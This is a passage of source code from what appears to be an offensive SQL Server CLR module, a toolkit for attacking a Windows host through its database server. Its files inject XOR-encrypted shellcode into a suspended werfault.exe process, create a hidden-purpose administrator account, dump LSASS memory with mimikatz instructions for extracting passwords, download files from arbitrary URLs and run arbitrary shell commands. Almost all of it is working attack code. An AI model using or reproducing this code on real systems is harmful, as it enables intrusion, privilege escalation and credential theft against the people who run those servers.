13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/Database/CLR_module/Sharploader.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.SqlServer.Server;
2 | using System;
3 | using System.IO;
4 | using System.Runtime.InteropServices;
5 | using System.Text;
6 | using System.Threading;
7 |
8 | namespace CLR_module;
9 |
10 | public class AsmLoader
11 | {
12 | [StructLayout(LayoutKind.Sequential)]
13 | public class SecurityAttributes
14 | {
15 | public int Length;
16 |
17 | public IntPtr lpSecurityDescriptor = IntPtr.Zero;
18 |
19 | public bool bInheritHandle;
20 |
21 | public SecurityAttributes()
22 | {
23 | Length = Marshal.SizeOf(this);
24 | }
25 | }
26 |
27 | public struct ProcessInformation
28 | {
29 | public IntPtr hProcess;
30 |
31 | public IntPtr hThread;
32 |
33 | public int dwProcessId;
34 |
35 | public int dwThreadId;
36 | }
37 |
38 | [Flags]
39 | public enum CreateProcessFlags : uint
40 | {
41 | DEBUG_PROCESS = 1u,
42 | DEBUG_ONLY_THIS_PROCESS = 2u,
43 | CREATE_SUSPENDED = 4u,
44 | DETACHED_PROCESS = 8u,
45 | CREATE_NEW_CONSOLE = 0x10u,
46 | NORMAL_PRIORITY_CLASS = 0x20u,
47 | IDLE_PRIORITY_CLASS = 0x40u,
48 | HIGH_PRIORITY_CLASS = 0x80u,
49 | REALTIME_PRIORITY_CLASS = 0x100u,
50 | CREATE_NEW_PROCESS_GROUP = 0x200u,
51 | CREATE_UNICODE_ENVIRONMENT = 0x400u,
52 | CREATE_SEPARATE_WOW_VDM = 0x800u,
53 | CREATE_SHARED_WOW_VDM = 0x1000u,
54 | CREATE_FORCEDOS = 0x2000u,
55 | BELOW_NORMAL_PRIORITY_CLASS = 0x4000u,
56 | ABOVE_NORMAL_PRIORITY_CLASS = 0x8000u,
57 | INHERIT_PARENT_AFFINITY = 0x10000u,
58 | INHERIT_CALLER_PRIORITY = 0x20000u,
59 | CREATE_PROTECTED_PROCESS = 0x40000u,
60 | EXTENDED_STARTUPINFO_PRESENT = 0x80000u,
61 | PROCESS_MODE_BACKGROUND_BEGIN = 0x100000u,
62 | PROCESS_MODE_BACKGROUND_END = 0x200000u,
63 | CREATE_BREAKAWAY_FROM_JOB = 0x1000000u,
64 | CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x2000000u,
65 | CREATE_DEFAULT_ERROR_MODE = 0x4000000u,
66 | CREATE_NO_WINDOW = 0x8000000u,
67 | PROFILE_USER = 0x10000000u,
68 | PROFILE_KERNEL = 0x20000000u,
69 | PROFILE_SERVER = 0x40000000u,
70 | CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000u
71 | }
72 |
73 | [StructLayout(LayoutKind.Sequential)]
74 | public class StartupInfo
75 | {
76 | public int cb;
77 |
78 | public IntPtr lpReserved = IntPtr.Zero;
79 |
80 | public IntPtr lpDesktop = IntPtr.Zero;
81 |
82 | public IntPtr lpTitle = IntPtr.Zero;
83 |
84 | public int dwX;
85 |
86 | public int dwY;
87 |
88 | public int dwXSize;
89 |
90 | public int dwYSize;
91 |
92 | public int dwXCountChars;
93 |
94 | public int dwYCountChars;
95 |
96 | public int dwFillAttribute;
97 |
98 | public int dwFlags;
99 |
100 | public short wShowWindow;
101 |
102 | public short cbReserved2;
103 |
104 | public IntPtr lpReserved2 = IntPtr.Zero;
105 |
106 | public IntPtr hStdInput = IntPtr.Zero;
107 |
108 | public IntPtr hStdOutput = IntPtr.Zero;
109 |
110 | public IntPtr hStdError = IntPtr.Zero;
111 |
112 | public StartupInfo()
113 | {
114 | cb = Marshal.SizeOf(this);
115 | }
116 | }
117 |
118 | public struct SECURITY_ATTRIBUTES
119 | {
120 | public int nLength;
121 |
122 | public IntPtr lpSecurityDescriptor;
123 |
124 | public int bInheritHandle;
125 | }
126 |
127 | private static uint PAGE_EXECUTE_READWRITE = 64u;
128 |
129 | private static uint MEM_COMMIT = 4096u;
130 |
131 | private static int HANDLE_FLAG_INHERIT = 1;
132 |
133 | public static int STARTF_USESTDHANDLES = 256;
134 |
135 | public static long fix = 533504L;
136 |
137 | [DllImport("kernel32.dll", SetLastError = true)]
138 | public static extern bool CreatePipe(ref IntPtr hReadPipe, ref IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
139 |
140 | [DllImport("kernel32.dll", SetLastError = true)]
141 | public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped);
142 |
143 | [DllImport("kernel32.dll")]
144 | public static extern IntPtr CreateProcessA(string lpApplicationName, string lpCommandLine, SecurityAttributes lpProcessAttributes, SecurityAttributes lpThreadAttributes, bool bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] StartupInfo lpStartupInfo, out ProcessInformation lpProcessInformation);
145 |
146 | [DllImport("kernel32.dll")]
147 | public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);
148 |
149 | [DllImport("kernel32.dll")]
150 | public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
151 |
152 | [DllImport("kernel32.dll")]
153 | private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
154 |
155 | [DllImport("kernel32.dll", SetLastError = true)]
156 | public static extern bool PeekNamedPipe(IntPtr handle, byte[] buffer, int nBufferSize, ref int bytesRead, ref int bytesAvail, ref int BytesLeftThisMessage);
157 |
158 | [DllImport("kernel32.dll", SetLastError = true)]
159 | public static extern bool SetHandleInformation(IntPtr hObject, int dwMask, int dwFlags);
160 |
161 | [DllImport("kernel32")]
162 | public static extern int GetLastError();
163 |
164 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
165 | [return: MarshalAs(UnmanagedType.Bool)]
166 | internal static extern bool CloseHandle(IntPtr hObject);
167 |
168 | [DllImport("kernel32.dll", SetLastError = true)]
169 | [return: MarshalAs(UnmanagedType.Bool)]
170 | private static extern bool TerminateProcess(IntPtr hProcess, int uExitCode);
171 |
172 | public static byte[] X0r(byte[] cipher, byte[] key)
173 | {
174 | byte[] array = new byte[cipher.Length];
175 | for (int i = 0; i < cipher.Length; i++)
176 | {
177 | array[i] = (byte)(cipher[i] ^ key[i % key.Length]);
178 | }
179 | return array;
180 | }
181 |
182 | private static bool is64Bit()
183 | {
184 | if (IntPtr.Size == 4)
185 | return false;
186 |
187 | return true;
188 | }
189 |
190 | public static string loadAsmBin(string code, string xor_key)
191 | {
192 | //(string commandLine, byte[] asm, int readWait)
193 | string commandLine = "C:/Windows/System32/werfault.exe";
194 | int readWait = 10000;
195 | if (is64Bit())
196 | {
197 | SqlContext.Pipe.Send(String.Format("[+] X64."));
198 | }
199 | else
200 | {
201 | SqlContext.Pipe.Send(String.Format("[+] X86."));
202 | }
203 | SqlContext.Pipe.Send(String.Format("[+] Decrypting XOR encrypted binary using key '{0}'", xor_key));
204 | byte[] cipher = Convert.FromBase64String(code);
205 | byte[] xorKey = Convert.FromBase64String(xor_key);
206 | byte[] asm = X0r(cipher, xorKey);
207 | byte[] array = new byte[fix];
208 | new Random().NextBytes(array);
209 | byte[] array2 = new byte[asm.Length + fix];
210 | Array.Copy(array, array2, array.Length);
211 | Array.Copy(asm, 0L, array2, fix, asm.Length);
212 | asm = array2;
213 | int dwSize = asm.Length;
214 | StartupInfo startupInfo = new StartupInfo();
215 | startupInfo.dwFlags |= STARTF_USESTDHANDLES;
216 | startupInfo.cb = Marshal.SizeOf(startupInfo);
217 | IntPtr hReadPipe = IntPtr.Zero;
218 | IntPtr hWritePipe = IntPtr.Zero;
219 | SECURITY_ATTRIBUTES lpPipeAttributes = default(SECURITY_ATTRIBUTES);
220 | lpPipeAttributes.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));
221 | lpPipeAttributes.bInheritHandle = 1;
222 | lpPipeAttributes.lpSecurityDescriptor = IntPtr.Zero;
223 | if (CreatePipe(ref hReadPipe, ref hWritePipe, ref lpPipeAttributes, 0))
224 | {
225 | SetHandleInformation(hReadPipe, HANDLE_FLAG_INHERIT, 0);
226 | startupInfo.hStdOutput = hWritePipe;
227 | if (CreateProcessA(null, commandLine, null, null, bInheritHandles: true, CreateProcessFlags.CREATE_SUSPENDED | CreateProcessFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, startupInfo, out var lpProcessInformation) != IntPtr.Zero)
228 | {
229 | CloseHandle(hWritePipe);
230 | IntPtr hProcess = lpProcessInformation.hProcess;
231 | IntPtr intPtr = VirtualAllocEx(hProcess, new IntPtr(0), dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
232 | if (intPtr != IntPtr.Zero)
233 | {
234 | int lpNumberOfBytesWritten = 0;
235 | if (WriteProcessMemory(hProcess, intPtr, asm, new IntPtr(asm.Length), lpNumberOfBytesWritten))
236 | {
237 | Thread.Sleep(200);
238 | IntPtr intPtr2 = CreateRemoteThread(hProcess, IntPtr.Zero, 0u, new IntPtr(intPtr.ToInt64() + fix), IntPtr.Zero, 0u, IntPtr.Zero);
239 | if (intPtr2 != IntPtr.Zero)
240 | {
241 | Thread.Sleep(150);
242 | string @string = Encoding.Default.GetString(readFileAndWait(hReadPipe, readWait));
243 | CloseHandle(hWritePipe);
244 | CloseHandle(hReadPipe);
245 | CloseHandle(hProcess);
246 | CloseHandle(intPtr2);
247 | return @string;
248 | }
249 | TerminateProcess(hProcess, 0);
250 | CloseHandle(hWritePipe);
251 | CloseHandle(hReadPipe);
252 | CloseHandle(hProcess);
253 | return $"Cannot CreateRemoteThread errcode:{GetLastError()}\n";
254 | }
255 | TerminateProcess(hProcess, 0);
256 | CloseHandle(hWritePipe);
257 | CloseHandle(hReadPipe);
258 | CloseHandle(hProcess);
259 | return $"Cannot WriteProcessMemory errcode:{GetLastError()}\n";
260 | }
261 | TerminateProcess(hProcess, 0);
262 | CloseHandle(hWritePipe);
263 | CloseHandle(hReadPipe);
264 | CloseHandle(hProcess);
265 | return $"Cannot alloc memory errcode:{GetLastError()}\n";
266 | }
267 | CloseHandle(hWritePipe);
268 | CloseHandle(hReadPipe);
269 | return $"Cannot create process errcode:{GetLastError()}\n";
270 | }
271 | return $"Cannot create pipe errcode:{GetLastError()}\n";
272 | }
273 |
274 | protected static byte[] readFileAndWait(IntPtr pipe, int timeout)
275 | {
276 | MemoryStream memoryStream = new MemoryStream();
277 | byte[] bytes = Encoding.Default.GetBytes("ok\n");
278 | memoryStream.Write(bytes, 0, bytes.Length);
279 | bytes = new byte[1024];
280 | FileStream fileStream = new FileStream(pipe, FileAccess.Read);
281 | long num = currentTimestamp();
282 | while (timeout + num > currentTimestamp())
283 | {
284 | int bytesRead = 0;
285 | int bytesAvail = 0;
286 | if (!PeekNamedPipe(pipe, bytes, bytes.Length, ref bytesRead, ref bytesAvail, ref bytesAvail))
287 | {
288 | break;
289 | }
290 | if (bytesRead > 0)
291 | {
292 | int count = fileStream.Read(bytes, 0, bytes.Length);
293 | memoryStream.Write(bytes, 0, count);
294 | }
295 | else
296 | {
297 | Thread.Sleep(50);
298 | }
299 | }
300 | fileStream.Dispose();
301 | return memoryStream.ToArray();
302 | }
303 |
304 | protected static long currentTimestamp()
305 | {
306 | return (DateTime.Now.ToUniversalTime().Ticks - 621355968000000000L) / 10000;
307 | }
308 | }
309 |
--------------------------------------------------------------------------------
/Database/CLR_module/adduser.cs:
--------------------------------------------------------------------------------
1 | namespace CLR_module;
2 |
3 | internal class adduser
4 | {
5 | public static void add(string userName, string password)
6 | {
7 | LocalGroupUserHelper localGroupUserHelper = new LocalGroupUserHelper();
8 | string groupName = "Administrators";
9 | localGroupUserHelper.AddUser(null, userName, password, null);
10 | localGroupUserHelper.GroupAddMembers(null, groupName, userName);
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/Database/CLR_module/basefun.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Diagnostics;
4 | using System.IO;
5 | using System.Net;
6 | using System.Net.NetworkInformation;
7 | using System.Security;
8 | using System.Security.Principal;
9 | using Microsoft.SqlServer.Server;
10 |
11 | namespace CLR_module;
12 |
13 | internal class basefun
14 | {
15 | public static void CombineFile(string[] infileName, string outfileName)
16 | {
17 | int num = infileName.Length;
18 | FileStream[] array = new FileStream[num];
19 | using FileStream fileStream = new FileStream(outfileName, FileMode.Create);
20 | for (int i = 0; i < num; i++)
21 | {
22 | try
23 | {
24 | array[i] = new FileStream(infileName[i], FileMode.Open);
25 | int num2;
26 | while ((num2 = array[i].ReadByte()) != -1)
27 | {
28 | fileStream.WriteByte((byte)num2);
29 | }
30 | }
31 | catch (Exception ex)
32 | {
33 | SqlContext.Pipe.Send("[X] " + ex.Message);
34 | }
35 | finally
36 | {
37 | array[i].Close();
38 | }
39 | File.Delete(infileName[i]);
40 | }
41 | }
42 |
43 | public static void run(string remoteFile)
44 | {
45 | try
46 | {
47 | FileInfo fileInfo = new FileInfo(remoteFile);
48 | SqlContext.Pipe.Send("[+] remoteFile: " + remoteFile);
49 | string text = remoteFile.Replace(Path.GetFileName(remoteFile), "");
50 | string text2 = Path.GetFileName(remoteFile) + "_*.config_txt";
51 | string text3 = text + text2;
52 | string[] files = Directory.GetFiles(text, text2);
53 | int num = files.Length;
54 | SqlContext.Pipe.Send("[+] count: " + num);
55 | SqlContext.Pipe.Send("[+] combinefile: " + text3 + " " + remoteFile);
56 | CombineFile(files, remoteFile);
57 | if (fileInfo.Exists)
58 | {
59 | SqlContext.Pipe.Send($"[*] '{text3}' CombineFile completed");
60 | }
61 | }
62 | catch (Exception ex)
63 | {
64 | SqlContext.Pipe.Send("[X] " + ex.Message);
65 | }
66 | }
67 |
68 | public static void setAttributesNormal(DirectoryInfo dir)
69 | {
70 | DirectoryInfo[] directories = dir.GetDirectories();
71 | foreach (DirectoryInfo attributesNormal in directories)
72 | {
73 | setAttributesNormal(attributesNormal);
74 | }
75 | FileInfo[] files = dir.GetFiles();
76 | foreach (FileInfo fileInfo in files)
77 | {
78 | fileInfo.Attributes = FileAttributes.Normal;
79 | }
80 | }
81 |
82 | public static void DeleteFile(string filename)
83 | {
84 | string fullPath = Path.GetFullPath(filename);
85 | if (Directory.Exists(fullPath))
86 | {
87 | try
88 | {
89 | DirectoryInfo attributesNormal = new DirectoryInfo(fullPath);
90 | setAttributesNormal(attributesNormal);
91 | Directory.Delete(fullPath, recursive: true);
92 | SqlContext.Pipe.Send("[*] Removed all child items and deleted directory: " + fullPath);
93 | return;
94 | }
95 | catch (UnauthorizedAccessException)
96 | {
97 | SqlContext.Pipe.Send("[!] Error: access denied - could not delete directory: " + fullPath);
98 | return;
99 | }
100 | catch (IOException)
101 | {
102 | SqlContext.Pipe.Send("[!] Error: IOException - could not delete directory: " + fullPath);
103 | return;
104 | }
105 | catch (Exception ex3)
106 | {
107 | SqlContext.Pipe.Send("[!] Error: Unexpected exception deleting directory: " + fullPath);
108 | SqlContext.Pipe.Send(ex3.ToString());
109 | return;
110 | }
111 | }
112 | if (File.Exists(fullPath))
113 | {
114 | try
115 | {
116 | File.SetAttributes(fullPath, FileAttributes.Normal);
117 | File.Delete(fullPath);
118 | SqlContext.Pipe.Send("[*] Deleted file: " + fullPath);
119 | return;
120 | }
121 | catch (UnauthorizedAccessException)
122 | {
123 | SqlContext.Pipe.Send("[!] Error: access denied - could not delete file: " + fullPath);
124 | return;
125 | }
126 | catch (IOException)
127 | {
128 | SqlContext.Pipe.Send("[!] Error: IOException - could not delete file: " + fullPath);
129 | return;
130 | }
131 | catch (Exception ex6)
132 | {
133 | SqlContext.Pipe.Send("[!] Error: Unexpected exception deleting file: " + fullPath);
134 | SqlContext.Pipe.Send(ex6.ToString());
135 | return;
136 | }
137 | }
138 | SqlContext.Pipe.Send("[!] Error: file or directory does not exist: " + fullPath);
139 | }
140 |
141 | public static void GetCurrentDir()
142 | {
143 | SqlContext.Pipe.Send($"\r\n[+] GetCurrentDir: \r\n\t{Environment.CurrentDirectory}\r\n\r\n");
144 | }
145 |
146 | public static void SetCurrentDir(string dir)
147 | {
148 | Directory.SetCurrentDirectory(dir);
149 | SqlContext.Pipe.Send($"\r\n[+] SetCurrentDir: {dir}\r\n\r\n");
150 | }
151 |
152 | public static void Echo(string res)
153 | {
154 | int i;
155 | for (i = 0; 4000 <= res.Length - i; i += 4000)
156 | {
157 | SqlContext.Pipe.Send(res.Substring(i, 4000));
158 | }
159 | SqlContext.Pipe.Send(res.Substring(i, res.Length - i));
160 | }
161 |
162 | public static void GetContent(string filename)
163 | {
164 | SqlContext.Pipe.Send("\r\n");
165 | try
166 | {
167 | string res = File.ReadAllText(filename);
168 | Echo(res);
169 | }
170 | catch (FileNotFoundException)
171 | {
172 | SqlContext.Pipe.Send("[!] Error: file not found: " + filename);
173 | }
174 | catch (SecurityException)
175 | {
176 | SqlContext.Pipe.Send("[!] Error: no permissions to read file: " + filename);
177 | }
178 | catch (IOException)
179 | {
180 | SqlContext.Pipe.Send("[!] Error: file could not be read: " + filename);
181 | }
182 | catch (Exception ex4)
183 | {
184 | SqlContext.Pipe.Send("[!] Error: Unexpected error reading file: " + filename);
185 | SqlContext.Pipe.Send(ex4.ToString());
186 | }
187 | SqlContext.Pipe.Send("\r\n\r\n");
188 | }
189 |
190 | public static void ListProcess()
191 | {
192 | SqlContext.Pipe.Send($"\r\n[+] ListProcess\r\n");
193 | Process[] processes = Process.GetProcesses();
194 | SqlContext.Pipe.Send(string.Format("{0,-10} {1,-1}", "ProcessId", "ProcessName"));
195 | Process[] array = processes;
196 | foreach (Process process in array)
197 | {
198 | SqlContext.Pipe.Send($"{process.Id,-10} {process.ProcessName,-1}");
199 | }
200 | SqlContext.Pipe.Send("\r\n\r\n");
201 | }
202 |
203 | public static string[] ConcatStringArray(string[] Array1, string[] Array2)
204 | {
205 | List list = new List();
206 | list.AddRange(Array1);
207 | list.AddRange(Array2);
208 | return list.ToArray();
209 | }
210 |
211 | public static bool isArray(string[] stringArray, string stringToCheck)
212 | {
213 | int num = 0;
214 | if (num < stringArray.Length)
215 | {
216 | string text = stringArray[num];
217 | if (text.Contains(stringToCheck))
218 | {
219 | return true;
220 | }
221 | return false;
222 | }
223 | return true;
224 | }
225 |
226 | public static void ListDir(string lsdir)
227 | {
228 | string text = Directory.GetCurrentDirectory();
229 | string[] array = null;
230 | string[] array2 = null;
231 | long num = 0L;
232 | int num2 = 4;
233 | int num3 = 9;
234 | if (lsdir != "")
235 | {
236 | text = lsdir;
237 | }
238 | try
239 | {
240 | array = Directory.GetFiles(text);
241 | array2 = Directory.GetDirectories(text);
242 | SqlContext.Pipe.Send("\n Directory listing of " + text + "\n");
243 | }
244 | catch (DirectoryNotFoundException)
245 | {
246 | SqlContext.Pipe.Send("[!] Error: directory does not exist: " + text);
247 | return;
248 | }
249 | catch (UnauthorizedAccessException)
250 | {
251 | SqlContext.Pipe.Send("[!] Error: no permissions to read directory: " + text);
252 | return;
253 | }
254 | catch (Exception ex3)
255 | {
256 | SqlContext.Pipe.Send("[!] Error: unhandled exception listing directory: " + text);
257 | SqlContext.Pipe.Send(ex3.ToString());
258 | return;
259 | }
260 | string[] array3 = ConcatStringArray(array, array2);
261 | Array.Sort(array3);
262 | if (array3 == null)
263 | {
264 | SqlContext.Pipe.Send("[*] The directory " + text + " is empty!");
265 | return;
266 | }
267 | string[] array4 = array;
268 | foreach (string fileName in array4)
269 | {
270 | long length = new FileInfo(fileName).Length;
271 | if (length > num)
272 | {
273 | num = length;
274 | }
275 | if (num2 < num.ToString().Length)
276 | {
277 | num2 = num.ToString().Length;
278 | }
279 | }
280 | string[] array5 = array3;
281 | foreach (string path in array5)
282 | {
283 | try
284 | {
285 | if (File.GetAccessControl(path).GetOwner(typeof(NTAccount)).ToString()
286 | .Length > num3)
287 | {
288 | num3 = File.GetAccessControl(path).GetOwner(typeof(NTAccount)).ToString()
289 | .Length;
290 | }
291 | }
292 | catch
293 | {
294 | }
295 | }
296 | SqlContext.Pipe.Send("Last Modify Type Owner" + new string(' ', num3 - 5) + " Size" + new string(' ', num2 - 4) + " File/Dir Name");
297 | SqlContext.Pipe.Send("============== ====== " + new string('=', num3) + " " + new string('=', num2) + " =============");
298 | string[] array6 = array3;
299 | foreach (string text2 in array6)
300 | {
301 | string fileName2 = Path.GetFileName(text2);
302 | DateTime lastWriteTime = File.GetLastWriteTime(text2);
303 | string text3 = $"{lastWriteTime:MM/dd/yy HH:mm}";
304 | string text4;
305 | try
306 | {
307 | text4 = File.GetAccessControl(text2).GetOwner(typeof(NTAccount)).ToString();
308 | }
309 | catch
310 | {
311 | text4 = "";
312 | }
313 | if (isArray(array, text2))
314 | {
315 | long length2 = new FileInfo(text2).Length;
316 | SqlContext.Pipe.Send(text3 + " " + text4 + new string(' ', num3 - text4.ToString().Length) + " " + length2 + new string(' ', num2 - length2.ToString().Length) + " " + fileName2);
317 | }
318 | else
319 | {
320 | SqlContext.Pipe.Send(text3 + " " + text4 + new string(' ', num3 - text4.ToString().Length) + " " + new string('.', num2) + " " + fileName2);
321 | }
322 | }
323 | }
324 |
325 | public static bool PingHost(string nameOrAddress)
326 | {
327 | bool result = false;
328 | Ping ping = null;
329 | try
330 | {
331 | ping = new Ping();
332 | PingReply pingReply = ping.Send(nameOrAddress);
333 | result = pingReply.Status == IPStatus.Success;
334 | }
335 | catch (PingException)
336 | {
337 | }
338 | finally
339 | {
340 | ping?.Dispose();
341 | }
342 | return result;
343 | }
344 |
345 | public static void ping(string nameOrAddress)
346 | {
347 | if (PingHost(nameOrAddress))
348 | {
349 | SqlContext.Pipe.Send("[*] Host is reachable: " + nameOrAddress);
350 | }
351 | else
352 | {
353 | SqlContext.Pipe.Send("[!] Host is unreachable: " + nameOrAddress);
354 | }
355 | }
356 |
357 | public static void netstat()
358 | {
359 | IPGlobalProperties iPGlobalProperties = IPGlobalProperties.GetIPGlobalProperties();
360 | SqlContext.Pipe.Send("Local Address Remote Address State");
361 | SqlContext.Pipe.Send("============= ============== =====");
362 | IPEndPoint[] activeTcpListeners = iPGlobalProperties.GetActiveTcpListeners();
363 | foreach (IPEndPoint iPEndPoint in activeTcpListeners)
364 | {
365 | SqlContext.Pipe.Send(string.Concat(iPEndPoint.Address, ":", iPEndPoint.Port, new string(' ', 22 - (iPEndPoint.Address.ToString().Length + iPEndPoint.Port.ToString().Length)), "0.0.0.0", new string(' ', 16), "LISTENING"));
366 | }
367 | TcpConnectionInformation[] activeTcpConnections = iPGlobalProperties.GetActiveTcpConnections();
368 | foreach (TcpConnectionInformation tcpConnectionInformation in activeTcpConnections)
369 | {
370 | SqlContext.Pipe.Send(string.Concat(tcpConnectionInformation.LocalEndPoint, new string(' ', 23 - tcpConnectionInformation.LocalEndPoint.ToString().Length), tcpConnectionInformation.RemoteEndPoint, new string(' ', 23 - tcpConnectionInformation.RemoteEndPoint.ToString().Length), "ESTABLISHED"));
371 | }
372 | }
373 | }
374 |
--------------------------------------------------------------------------------
/Database/CLR_module/download.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Net;
4 | using Microsoft.SqlServer.Server;
5 |
6 | namespace CLR_module;
7 |
8 | internal class download
9 | {
10 | public static bool DownloadFile(string URL, string filename)
11 | {
12 | try
13 | {
14 | HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(URL);
15 | HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
16 | Stream responseStream = httpWebResponse.GetResponseStream();
17 | Stream stream = new FileStream(filename, FileMode.Create);
18 | byte[] array = new byte[1024];
19 | for (int num = responseStream.Read(array, 0, array.Length); num > 0; num = responseStream.Read(array, 0, array.Length))
20 | {
21 | stream.Write(array, 0, num);
22 | }
23 | stream.Close();
24 | responseStream.Close();
25 | httpWebResponse.Close();
26 | httpWebRequest.Abort();
27 | return true;
28 | }
29 | catch (Exception ex)
30 | {
31 | SqlContext.Pipe.Send("[X] ERROR Log:" + ex.ToString());
32 | return false;
33 | }
34 | }
35 |
36 | public static void run(string url, string localpath)
37 | {
38 | if (DownloadFile(url, localpath))
39 | {
40 | SqlContext.Pipe.Send("[*] Download success");
41 | }
42 | else
43 | {
44 | SqlContext.Pipe.Send("[X] Download fail");
45 | }
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/Database/CLR_module/dumplsass.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.IO.Compression;
5 | using System.Runtime.InteropServices;
6 | using System.Security.Principal;
7 | using Microsoft.SqlServer.Server;
8 | using Microsoft.Win32;
9 |
10 | namespace CLR_module;
11 |
12 | internal class dumplsass
13 | {
14 | [DllImport("dbghelp.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)]
15 | private static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam);
16 |
17 | public static bool IsHighIntegrity()
18 | {
19 | WindowsIdentity current = WindowsIdentity.GetCurrent();
20 | WindowsPrincipal windowsPrincipal = new WindowsPrincipal(current);
21 | return windowsPrincipal.IsInRole(WindowsBuiltInRole.Administrator);
22 | }
23 |
24 | public static void Compress(string inFile, string outFile)
25 | {
26 | try
27 | {
28 | if (File.Exists(outFile))
29 | {
30 | SqlContext.Pipe.Send($"[X] Output file '{outFile}' already exists, removing");
31 | File.Delete(outFile);
32 | }
33 | byte[] array = File.ReadAllBytes(inFile);
34 | using FileStream stream = new FileStream(outFile, FileMode.CreateNew);
35 | using GZipStream gZipStream = new GZipStream(stream, CompressionMode.Compress, leaveOpen: false);
36 | gZipStream.Write(array, 0, array.Length);
37 | }
38 | catch (Exception ex)
39 | {
40 | SqlContext.Pipe.Send($"[X] Exception while compressing file: {ex.Message}");
41 | }
42 | }
43 |
44 | public static void Minidump(string dumpDir)
45 | {
46 | int num = -1;
47 | IntPtr zero = IntPtr.Zero;
48 | uint num2 = 0u;
49 | Process process = null;
50 | if (num == -1)
51 | {
52 | Process[] processesByName = Process.GetProcessesByName("lsass");
53 | process = processesByName[0];
54 | }
55 | else
56 | {
57 | try
58 | {
59 | process = Process.GetProcessById(num);
60 | }
61 | catch (Exception ex)
62 | {
63 | SqlContext.Pipe.Send($"\n[X]Exception: {ex.Message}\n");
64 | return;
65 | }
66 | }
67 | if (process.ProcessName == "lsass" && !IsHighIntegrity())
68 | {
69 | SqlContext.Pipe.Send("\n[X] Not in high integrity, unable to MiniDump!\n");
70 | return;
71 | }
72 | try
73 | {
74 | num2 = (uint)process.Id;
75 | zero = process.Handle;
76 | }
77 | catch (Exception ex2)
78 | {
79 | SqlContext.Pipe.Send($"\n[X] Error getting handle to {process.ProcessName} ({process.Id}): {ex2.Message}\n");
80 | return;
81 | }
82 | bool flag = false;
83 | string text = $"{dumpDir}\\debug{num2}.out";
84 | string text2 = $"{dumpDir}\\debug{num2}.bin";
85 | SqlContext.Pipe.Send($"\n[*] Dumping {process.ProcessName} ({process.Id}) to {text}");
86 | using (FileStream fileStream = new FileStream(text, FileMode.Create, FileAccess.ReadWrite, FileShare.Write))
87 | {
88 | flag = MiniDumpWriteDump(zero, num2, fileStream.SafeFileHandle, 2u, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
89 | }
90 | if (flag)
91 | {
92 | SqlContext.Pipe.Send("[+] Dump successful!");
93 | SqlContext.Pipe.Send($"\n[*] Compressing {text} to {text2} gzip file");
94 | Compress(text, text2);
95 | SqlContext.Pipe.Send($"[*] Deleting {text}");
96 | File.Delete(text);
97 | SqlContext.Pipe.Send($"\n[+] Dumping completed. Rename file to \"debug{num2}.gz\" to decompress.");
98 | string environmentVariable = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
99 | string arg = "";
100 | RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion");
101 | if (registryKey != null)
102 | {
103 | arg = string.Format("{0}", registryKey.GetValue("ProductName"));
104 | }
105 | if (num == -1)
106 | {
107 | SqlContext.Pipe.Send($"\n[*] Operating System : {arg}");
108 | SqlContext.Pipe.Send($"[*] Architecture : {environmentVariable}");
109 | SqlContext.Pipe.Send(string.Format("[*] Use \"sekurlsa::minidump debug.out\" \"sekurlsa::logonPasswords full\" on the same OS/arch\n", environmentVariable));
110 | }
111 | }
112 | else
113 | {
114 | SqlContext.Pipe.Send($"[X] Dump failed: {flag}");
115 | }
116 | }
117 |
118 | public static void run(string dumpDir)
119 | {
120 | if (!Directory.Exists(dumpDir))
121 | {
122 | SqlContext.Pipe.Send($"\n[X] Dump directory \"{dumpDir}\" doesn't exist!\n");
123 | }
124 | else
125 | {
126 | Minidump(dumpDir);
127 | }
128 | }
129 | }
130 |
--------------------------------------------------------------------------------
/Database/CLR_module/exec.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.Text;
4 | using Microsoft.SqlServer.Server;
5 |
6 | namespace CLR_module;
7 |
8 | internal class exec
9 | {
10 | public static void run(string cmd)
11 | {
12 | RunCommand("cmd.exe", " /c " + cmd);
13 | }
14 |
15 | public static void run1(string proc, string arg)
16 | {
17 | RunCommand(proc, arg);
18 | }
19 |
20 | public static string RunCommand(string filename, string arguments)
21 | {
22 | SqlContext.Pipe.Send("[+] Process: " + filename);
23 | SqlContext.Pipe.Send("[+] arguments: " + arguments);
